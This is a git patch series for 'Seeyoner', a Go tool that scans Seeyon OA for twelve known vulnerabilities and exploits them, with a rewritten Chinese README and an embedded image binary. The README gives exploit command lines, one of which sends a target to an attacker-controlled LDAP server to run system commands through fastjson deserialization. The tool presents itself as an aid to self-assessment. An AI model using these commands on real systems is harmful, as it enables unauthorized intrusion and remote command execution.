From 7e6fba26bfa2452ffe345383179b492e8a222623 Mon Sep 17 00:00:00 2001 From: la10ne <22907374+lal0ne@users.noreply.github.com> Date: Wed, 2 Aug 2023 15:36:13 +0800 Subject: [PATCH 1/6] :fire: Delete REAME1 --- README1.md | 1 - 1 file changed, 1 deletion(-) delete mode 100644 README1.md diff --git a/README1.md b/README1.md deleted file mode 100644 index 8b13789..0000000 --- a/README1.md +++ /dev/null @@ -1 +0,0 @@ - From da8dd42e3b7da668699827e11783b5a33842b556 Mon Sep 17 00:00:00 2001 From: la10ne <22907374+lal0ne@users.noreply.github.com> Date: Wed, 2 Aug 2023 15:39:58 +0800 Subject: [PATCH 2/6] :sparkles: Add scan all --- cmd/scan.go | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/cmd/scan.go b/cmd/scan.go index aa5b7c9..db7fe3c 100644 --- a/cmd/scan.go +++ b/cmd/scan.go @@ -1,6 +1,7 @@ package cmd import ( + "fmt" "Seeyoner/core" "github.com/spf13/cobra" ) @@ -12,8 +13,16 @@ var scanCmd = &cobra.Command{ `, Run: func(cmd *cobra.Command, args []string) { factory := new(core.IFactory) - iScan := factory.NewFactory(vulnId) - iScan.Scan(url) + if vulnId == 0 { + for i :=1 ; i < 13; i++ { + fmt.Print("[", i, "] >>> ") + iScan := factory.NewFactory(i) + iScan.Scan(url) + } + } else { + iScan := factory.NewFactory(vulnId) + iScan.Scan(url) + } }, } From 65c0897c0389bec916bb1d575ed30b7b89265fde Mon Sep 17 00:00:00 2001 From: la10ne <22907374+lal0ne@users.noreply.github.com> Date: Wed, 2 Aug 2023 15:43:22 +0800 Subject: [PATCH 3/6] :pencil2: Fix the display --- cmd/root.go | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/cmd/root.go b/cmd/root.go index 18b831a..28872d6 100644 --- a/cmd/root.go +++ b/cmd/root.go @@ -2,17 +2,23 @@ package cmd import ( "os" + "path/filepath" "github.com/spf13/cobra" ) +var ( + path, _ = os.Executable() + _, exec = filepath.Split(path) +) + var ( url string vulnId int ) var rootCmd = &cobra.Command{ - Use: "Seeyoner", - Short: "Seeyoner", + Use: exec, + Short: exec, Long: `一个简单的致远OA安全测试工具,目的是为了协助漏洞自查、修复工作。`, } From add90012f9cda4818a4722ccd9e1b22ad4ddeec2 Mon Sep 17 00:00:00 2001 From: la10ne <22907374+lal0ne@users.noreply.github.com> Date: Wed, 2 Aug 2023 16:24:54 +0800 Subject: [PATCH 4/6] =?UTF-8?q?:bug:=20=E4=BF=AE=E5=A4=8Dseeyon<8.0=5Ffast?= =?UTF-8?q?json=E5=8F=8D=E5=BA=8F=E5=88=97=E5=8C=96=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?=E5=88=A9=E7=94=A8?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- vulners/sy01.go | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/vulners/sy01.go b/vulners/sy01.go index f76745e..7b28f52 100644 --- a/vulners/sy01.go +++ b/vulners/sy01.go @@ -25,9 +25,14 @@ func (s *Sy01) Scan(targetUrl string) { func (*Sy01) Exploit(targetUrl string) { s := strings.Split(targetUrl, "|") + if len(s) != 3 { + color.Red("[x]url参数格式不正确!") + return + } + url := s[0] ldapUrl := s[1] command := s[2] - runResult, err := sy01runcore(targetUrl, ldapUrl, command) + runResult, err := sy01runcore(url, ldapUrl, command) if err != nil { color.Red("[x]漏洞利用异常!") return From 9e9d20adf0bc6478b09ef2f5dc6e967a901ebff6 Mon Sep 17 00:00:00 2001 From: la10ne <22907374+lal0ne@users.noreply.github.com> Date: Wed, 2 Aug 2023 16:32:28 +0800 Subject: [PATCH 5/6] =?UTF-8?q?:speech=5Fballoon:=20=E6=9B=B4=E6=96=B0?= =?UTF-8?q?=E4=BD=BF=E7=94=A8=E6=96=87=E6=A1=A3?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 107 +++++++++++++++-------------- images/image-20230802155022124.png | Bin 0 -> 60444 bytes 2 files changed, 54 insertions(+), 53 deletions(-) create mode 100644 images/image-20230802155022124.png diff --git a/README.md b/README.md index 8047ffd..4296b94 100644 --- a/README.md +++ b/README.md @@ -1,67 +1,68 @@ - # seeyoner + 致远OA漏洞利用工具 -## Usage -``` + +## 使用方式 + +```shell D:\>seeyoner.exe -h - seeyoner v1.0 by x51 -Usage:seeyoner.exe -u http://192.168.1.1:8080/ -vn all -m scan -Options: - -a string - run mode ldap args - -c string - run mode command args - -h print this help info. - -m string - mode:scan/run - -show - show vuln list. - -u string - target url. - -vn string - vuln number,[1,2,...] -``` -### scan -全漏洞探测: -``` -seeyoner.exe -u http://xxx.com -vn all -m scan +一个简单的致远OA安全测试工具,目的是为了协助漏洞自查、修复工作。 + +Usage: + seeyoner.exe [command] + +Available Commands: + exploit 漏洞利用 + help Help about any command + list 列出所有漏洞信息 + scan 漏洞检测 + +Flags: + -h, --help help for main.exe + +Use "seeyoner.exe [command] --help" for more information about a command. ``` -![image](https://user-images.githubusercontent.com/45651912/124346939-31545880-dc14-11eb-8fa2-7dbb69aae836.png) -指定漏洞探测: -`-vn`指定漏洞编号,可通过`-show`参数查看: +### 漏洞信息 +```shell +D:\>seeyoner.exe list +【1】seeyon<8.0_fastjson反序列化 +【2】thirdpartyController.do管理员session泄露 +【3】webmail.do任意文件下载(CNVD-2020-62422) +【4】ajax.do未授权&任意文件上传 +【5】getSessionList泄露Session +【6】htmlofficeservlet任意文件上传 +【7】initDataAssess.jsp信息泄露 +【8】DownExcelBeanServlet信息泄露 +【9】createMysql.jsp数据库信息泄露 +【10】test.jsp路径 +【11】setextno.jsp路径 +【12】status.jsp路径(状态监控页面) ``` -D:\>seeyoner.exe -show -漏洞列表: -1、seeyon<8.0_fastjson反序列化 -2、thirdpartyController.do管理员session泄露 -3、webmail.do任意文件下载(CNVD-2020-62422) -4、ajax.do未授权&任意文件上传 -5、getSessionList泄露Session -6、htmlofficeservlet任意文件上传 -7、initDataAssess.jsp信息泄露 -8、DownExcelBeanServlet信息泄露 -9、createMysql.jsp数据库信息泄露 -10、test.jsp路径 -11、setextno.jsp路径 -12、status.jsp路径(状态监控页面) +### 漏洞检测 + +#### 全漏洞探测 + +```shell +seeyoner.exe scan -u http://xxx.com -i 0 ``` -探测seeyon<8.0_fastjson反序列化漏洞: +#### ![](./images/image-20230802155022124.png) 指定漏洞探测 + + +以探测seeyon<8.0_fastjson反序列化漏洞为例,指定编号为`1`: ``` -seeyoner.exe -u http://xxx.com -vn 1 -m scan +seeyoner.exe scan -u http://xxx.com -i 1 ``` -### run +### 漏洞利用 以Session泄露+zip文件上传解压为例,指定编号为`2`: +```shell +seeyoner.exe exploit -u http://xxxx.com -i 2 ``` -seeyoner.exe -u http://xxxx.com -vn 2 -m run +seeyon<8.0_fastjson反序列化利用起来比较特殊: +```shell +# seeyoner.exe exploit -u {url}|{ldap}|{cmd} -i 1 +# 示例 +seeyoner.exe exploit -u http://xxxx.com|ldap://x.x.x.x:1389/TomcatBypass/TomcatEcho|whoami -i 1 ``` -![image](https://user-images.githubusercontent.com/45651912/124347038-bb9cbc80-dc14-11eb-8e52-e3292588c350.png) -seeyon<8.0_fastjson反序列化利用起来比较特殊,也只有该漏洞会用到`-a`和`-c`参数: -`-a`指定你的LDAP服务地址,`-c`指定需要执行的系统命令 -``` -seeyoner.exe -u http://xxxx.com -vn 1 -m run -a ldap://x.x.x.x:1389/TomcatBypass/TomcatEcho -c whoami -``` -![image](https://user-images.githubusercontent.com/45651912/124293426-3ae4ae80-db89-11eb-8a68-def2ba248f8d.png) - diff --git a/images/image-20230802155022124.png b/images/image-20230802155022124.png new file mode 100644 index 0000000000000000000000000000000000000000..6303ae70bbbfc95f53209d90d22155566521f0f9 GIT binary patch literal 60444 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 